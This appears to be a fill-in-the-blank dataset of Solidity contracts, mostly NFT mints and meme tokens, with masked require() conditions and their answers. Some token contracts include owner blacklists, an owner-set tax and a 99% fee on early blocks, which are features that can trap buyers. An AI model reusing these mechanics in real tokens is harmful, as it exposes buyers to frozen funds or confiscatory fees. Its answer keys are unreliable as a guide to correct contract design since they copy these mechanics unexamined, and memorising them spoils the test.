| teamAllocation[msg.sender]>0,"Caller has no team allocation" | 153,372 | teamAllocation[msg.sender]>0 |
"Team allocation not fulfilled yet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Raccools is ERC721A, Ownable {
uint256 private constant maxSupply = 6969;
uint256 private constant amountPerTx = 6;
mapping(address => bool) private mintedByAddress;
string private baseURI;
uint256 private constant teamAllocationAmount = 140; // 2%
mapping(address => uint256) private teamAllocation;
modifier onlyTeam() {
}
constructor() ERC721A("Raccools", "RACCOOL") {
}
function mint() external {
require(<FILL_ME>)
require(_totalMinted() + amountPerTx <= maxSupply, "Would exceed max supply");
require(msg.sender == tx.origin, "Cannot mint from a smart contract");
require(mintedByAddress[msg.sender] == false, "Already minted");
_safeMint(msg.sender, amountPerTx);
mintedByAddress[msg.sender] = true;
}
function mintReserve() external onlyTeam {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
}
| _totalMinted()>=teamAllocationAmount,"Team allocation not fulfilled yet" | 153,372 | _totalMinted()>=teamAllocationAmount |
"Would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Raccools is ERC721A, Ownable {
uint256 private constant maxSupply = 6969;
uint256 private constant amountPerTx = 6;
mapping(address => bool) private mintedByAddress;
string private baseURI;
uint256 private constant teamAllocationAmount = 140; // 2%
mapping(address => uint256) private teamAllocation;
modifier onlyTeam() {
}
constructor() ERC721A("Raccools", "RACCOOL") {
}
function mint() external {
require(_totalMinted() >= teamAllocationAmount, "Team allocation not fulfilled yet");
require(<FILL_ME>)
require(msg.sender == tx.origin, "Cannot mint from a smart contract");
require(mintedByAddress[msg.sender] == false, "Already minted");
_safeMint(msg.sender, amountPerTx);
mintedByAddress[msg.sender] = true;
}
function mintReserve() external onlyTeam {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
}
| _totalMinted()+amountPerTx<=maxSupply,"Would exceed max supply" | 153,372 | _totalMinted()+amountPerTx<=maxSupply |
"Already minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Raccools is ERC721A, Ownable {
uint256 private constant maxSupply = 6969;
uint256 private constant amountPerTx = 6;
mapping(address => bool) private mintedByAddress;
string private baseURI;
uint256 private constant teamAllocationAmount = 140; // 2%
mapping(address => uint256) private teamAllocation;
modifier onlyTeam() {
}
constructor() ERC721A("Raccools", "RACCOOL") {
}
function mint() external {
require(_totalMinted() >= teamAllocationAmount, "Team allocation not fulfilled yet");
require(_totalMinted() + amountPerTx <= maxSupply, "Would exceed max supply");
require(msg.sender == tx.origin, "Cannot mint from a smart contract");
require(<FILL_ME>)
_safeMint(msg.sender, amountPerTx);
mintedByAddress[msg.sender] = true;
}
function mintReserve() external onlyTeam {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
}
| mintedByAddress[msg.sender]==false,"Already minted" | 153,372 | mintedByAddress[msg.sender]==false |
null | // Shibarium Tools is a suite of tools designed to help traders and investors make better decisions when trading on the Shibarium network. The tools are designed to provide users with real-time data and insights into the market, allowing them to make informed decisions.
// The Chart Viewer allows users to view the price, trading volume, market capitalization, and other metrics of any token on the Shibarium network. This allows users to quickly identify trends in the market and make informed decisions about their investments.
// The Live Pairs Viewer allows users to view and track new trading pairs on Shibarium. This helps traders identify new opportunities for profitable investments. The Live Trending feature shows the most popular and actively traded tokens on Shibarium, helping traders find “hot” investments.
// The Volume Tracker helps traders track volume movement on Shibarium in real time. This allows traders to frontrun the next pump or dump in order to maximize their profits. Finally, AI Chart Analysis will be available soon within the next few days. This feature will use artificial intelligence algorithms to analyze charts and provide insights into potential trading opportunities.
// Shibarium Tools is a powerful suite of tools that can help traders make better decisions when trading on the Shibarium network. With real-time data and insights into the market, traders can make informed decisions about their investments and maximize their profits
// https://twitter.com/shibariumtool?s=21
// https://medium.com/@ShibariumToolsERC/shibarium-tools-d7fce964bac3
// https://t.me/ShibariumToolPortal
// shibariumtool.com
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _max() internal pure returns (uint256){
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounce() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShibariumTool is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _blacklisted;
address private _TeamWallet=_msgSender();
address private _routerAddress=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalfees=15;
uint256 private _swapAfter=10;
uint256 private _tTxs=0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e9 * 10**_decimals;
string private constant _name = unicode"Shibarium Tool";
string private constant _symbol = unicode"$TOOL";
uint256 public _maxTxAmount = ((_tTotal*2)/100);
uint256 public _maxWalletSize = ((_tTotal*2)/100);
uint256 public _taxSwap=((_tTotal*15)/1000);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _tradingActive;
uint private _launchBlock;
uint private _earlybuyersblocks = 0;
bool private swaplock = false;
bool private swapEnabled = false;
event RemoveLimitTriggered(bool _status);
modifier Swapping {
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 tfees=0;
if (from != owner() && to != owner()) {
require(<FILL_ME>)
if(!swaplock){
tfees = amount.mul(_totalfees).div(100);
}
if(_launchBlock + _earlybuyersblocks > block.number && _tradingActive==true){
tfees = amount.mul(99).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_tTxs++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!swaplock && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _tTxs>_swapAfter) {
swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
_distributeTaxes(address(this).balance);
}
}
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(tfees));
emit Transfer(from, to, amount.sub(tfees));
if(tfees>0){
_balances[address(this)]=_balances[address(this)].add(tfees);
emit Transfer(from, address(this),tfees);
}
}
function swapTokensForEth(uint256 tokenAmount) private Swapping {
}
function Limits() external onlyOwner{
}
function _distributeTaxes(uint256 amount) private {
}
function _blockbots(address[] memory addys) public onlyOwner {
}
function _unblockbots(address[] memory addys) public onlyOwner {
}
function OpenTrading() external onlyOwner() {
}
function _settax(uint256 _newfees) external onlyOwner{
}
function _swapback() external onlyOwner{
}
function _null() external onlyOwner{
}
function _null(uint256 amount) external onlyOwner{
}
function _setMarketing(address _new_addy) external onlyOwner{
}
function _SnipersBlocks(uint _n) external onlyOwner{
}
}
| !_blacklisted[from]&&!_blacklisted[to] | 153,380 | !_blacklisted[from]&&!_blacklisted[to] |
"trading is already open" | // Shibarium Tools is a suite of tools designed to help traders and investors make better decisions when trading on the Shibarium network. The tools are designed to provide users with real-time data and insights into the market, allowing them to make informed decisions.
// The Chart Viewer allows users to view the price, trading volume, market capitalization, and other metrics of any token on the Shibarium network. This allows users to quickly identify trends in the market and make informed decisions about their investments.
// The Live Pairs Viewer allows users to view and track new trading pairs on Shibarium. This helps traders identify new opportunities for profitable investments. The Live Trending feature shows the most popular and actively traded tokens on Shibarium, helping traders find “hot” investments.
// The Volume Tracker helps traders track volume movement on Shibarium in real time. This allows traders to frontrun the next pump or dump in order to maximize their profits. Finally, AI Chart Analysis will be available soon within the next few days. This feature will use artificial intelligence algorithms to analyze charts and provide insights into potential trading opportunities.
// Shibarium Tools is a powerful suite of tools that can help traders make better decisions when trading on the Shibarium network. With real-time data and insights into the market, traders can make informed decisions about their investments and maximize their profits
// https://twitter.com/shibariumtool?s=21
// https://medium.com/@ShibariumToolsERC/shibarium-tools-d7fce964bac3
// https://t.me/ShibariumToolPortal
// shibariumtool.com
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _max() internal pure returns (uint256){
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounce() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShibariumTool is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _blacklisted;
address private _TeamWallet=_msgSender();
address private _routerAddress=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalfees=15;
uint256 private _swapAfter=10;
uint256 private _tTxs=0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e9 * 10**_decimals;
string private constant _name = unicode"Shibarium Tool";
string private constant _symbol = unicode"$TOOL";
uint256 public _maxTxAmount = ((_tTotal*2)/100);
uint256 public _maxWalletSize = ((_tTotal*2)/100);
uint256 public _taxSwap=((_tTotal*15)/1000);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _tradingActive;
uint private _launchBlock;
uint private _earlybuyersblocks = 0;
bool private swaplock = false;
bool private swapEnabled = false;
event RemoveLimitTriggered(bool _status);
modifier Swapping {
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private Swapping {
}
function Limits() external onlyOwner{
}
function _distributeTaxes(uint256 amount) private {
}
function _blockbots(address[] memory addys) public onlyOwner {
}
function _unblockbots(address[] memory addys) public onlyOwner {
}
function OpenTrading() external onlyOwner() {
require(<FILL_ME>)
_launchBlock = block.number;
_tradingActive = true;
swapEnabled = true;
}
function _settax(uint256 _newfees) external onlyOwner{
}
function _swapback() external onlyOwner{
}
function _null() external onlyOwner{
}
function _null(uint256 amount) external onlyOwner{
}
function _setMarketing(address _new_addy) external onlyOwner{
}
function _SnipersBlocks(uint _n) external onlyOwner{
}
}
| !_tradingActive,"trading is already open" | 153,380 | !_tradingActive |
"Cannot request again until first request is over." | /**
___. .__ __ .___
\_ |__ | | _____ ____ | | __ __| _/____ ____
| __ \| | \__ \ _/ ___\| |/ // __ |/ _ \ / ___\
| \_\ \ |__/ __ \\ \___| </ /_/ ( <_> ) /_/ >
|___ /____(____ /\___ >__|_ \____ |\____/\___ /
\/ \/ \/ \/ \/ /_____/
https://blackdogtoken.xyz
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract TokenHandler is Ownable {
function sendTokenToOwner(address token) external onlyOwner {
}
}
contract BLACKDOG is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable dexRouter;
address public immutable lpPair;
TokenHandler public immutable tokenHandler;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
address public marketingAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
IERC20 public constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // Testnet: 0xeb8f08a975Ab53E34D8a0330E0D34de942C95926 //Mainnet: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyMarketingFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellMarketingFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForMarketing;
uint256 public lpWithdrawRequestTimestamp;
uint256 public lpWithdrawRequestDuration = 3 days;
bool public lpWithdrawRequestPending;
uint256 public lpPercToWithDraw;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event UpdatedMarketingAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event RequestedLPWithdraw();
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("Black Dog", "BLACKDOG") {
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function airdropToWallets(address[] memory wallets, uint256[] memory amountsInTokens) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 usdcAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
function swapTokensForUSDC(uint256 tokenAmount) private {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
}
function requestToWithdrawLP(uint256 percToWithdraw) external onlyOwner {
require(<FILL_ME>)
require(percToWithdraw <= 100 && percToWithdraw > 0, "Need to set between 1-100%");
lpWithdrawRequestTimestamp = block.timestamp;
lpWithdrawRequestPending = true;
lpPercToWithDraw = percToWithdraw;
emit RequestedLPWithdraw();
}
function nextAvailableLpWithdrawDate() public view returns (uint256){
}
function withdrawRequestedLP() external onlyOwner {
}
function cancelLPWithdrawRequest() external onlyOwner {
}
}
| !lpWithdrawRequestPending,"Cannot request again until first request is over." | 153,476 | !lpWithdrawRequestPending |
"Shiba: blacklist is forbidden!" | pragma solidity ^0.8.0;
contract Contract is Ownable, ERC20 {
uint256 public immutable maxSupply = 1_000_000_000 * (10 ** decimals());
uint16 public constant LIQUID_RATE = 10000; // 40%
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
address public uniswapV2Pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
bool private openTrading = true;
mapping(address => bool) private _preWhitelistsBeforeTrades;
mapping(address => bool) private _blackLists;
constructor() ERC20("What The Fuck", "$WTF") {
}
function setBlacklist(
address _address,
bool _permission
) external onlyOwner {
}
function setOpenTrading(bool _value) external onlyOwner {
}
function setUniswapPair(address _uniswapV2Pair) external onlyOwner {
}
function setPreWhitelistsBeforeTrades(
address _from,
bool _permission
) external onlyOwner {
}
function isBlacklist(address _address) public view returns(bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(<FILL_ME>)
require(
openTrading == true ||
initialized == false ||
_preWhitelistsBeforeTrades[from] == true ||
_preWhitelistsBeforeTrades[to] == true,
"Shiba: trade is not open!"
);
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Shiba: trading is not started"
);
}
uint256 _transferAmount = amount;
super._transfer(from, to, _transferAmount);
}
}
| _blackLists[from]==false&&_blackLists[to]==false,"Shiba: blacklist is forbidden!" | 153,482 | _blackLists[from]==false&&_blackLists[to]==false |
"reached max supply" | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
require(mintPhase == 5, "public sale hasn't begun yet");
require(<FILL_ME>) // must less than collction size
require(numberMinted(msg.sender) + _mintAmount <= maxPerPublic, "can not mint this many"); // check max mint PerAddress ?
require(msg.value >= mintPrice * _mintAmount, "ETH amount is not sufficient");
_safeMint(msg.sender, _mintAmount);
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| totalSupply()+_mintAmount<=collectionSize_,"reached max supply" | 153,545 | totalSupply()+_mintAmount<=collectionSize_ |
"can not mint this many" | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
